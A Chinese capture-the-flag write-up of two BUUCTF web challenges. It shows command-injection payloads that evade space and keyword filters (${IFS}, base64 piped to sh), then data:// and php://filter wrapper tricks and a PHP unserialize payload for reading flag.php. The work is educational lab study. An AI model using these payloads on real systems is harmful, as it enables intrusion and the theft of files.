空格过滤常见ctfweb题目中 *
大佬的博客,持续学习学习学习 https://www.ghtwf01.cn/index.php/archives/273/
通过学习知道怎么样绕过 以buuctf
首先使用burp抓包看看过滤了什么字符 基本上大部分字符都被过滤了,就很烦人 尝试构造?ip=127.0.0.1;ls 发现有两个东西 构造cat falg.php发现被过滤了,这怎么办??? flag被过滤,空格也被过滤 尝试%09发现不行 尝试nl%09* 发现被过滤了* 也就是说想要一键出flag不可能 上网查查过滤怎么办发现可以构造 ${IFS}$1 尝试构造
?ip=127.0.0.1;nl${IFS}$1index.php 看到bash被过滤了 卧槽 但是sh没有被过滤,flag也没了 想想可以 ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh base64解码 用sh在bash下大部分都能运行 或者 变量拼接↓
我们看到源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
··············································································································································································································································································
这道题的知识点就很多了,首先是绕过===,我们必须得上传文件,但好像没有办法上传文件,所以考虑data为协议 https://www.cnblogs.com/ichunqiu/p/10683379.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
第一绕过text 这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=第二文件包含 因为我们知道php文件内容不会在页面中呈现出来,所以我们要利用filter协议使php文件内容呈现出来 我们可以构造
file=php://filter/read=convert.base64-encode/resource=useless.phpphp://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php … ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
之后我们会解码base64
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } }连接在一起
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>很明显了最后要传入一个password并且想要最后输出文件内存必须要走魔法函数 所以我们先序列化password,之后魔法函数遇到序列化内容就会执行函数最后输出 file_get_contents($this->file);注意一点我们在序列化时要序列化flag.php,这样才会输入flag
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a= new flag(); $a->file="flag.php"; echo(serialize($a)); ?>最后payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=:&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}欢迎大佬的各种骚操作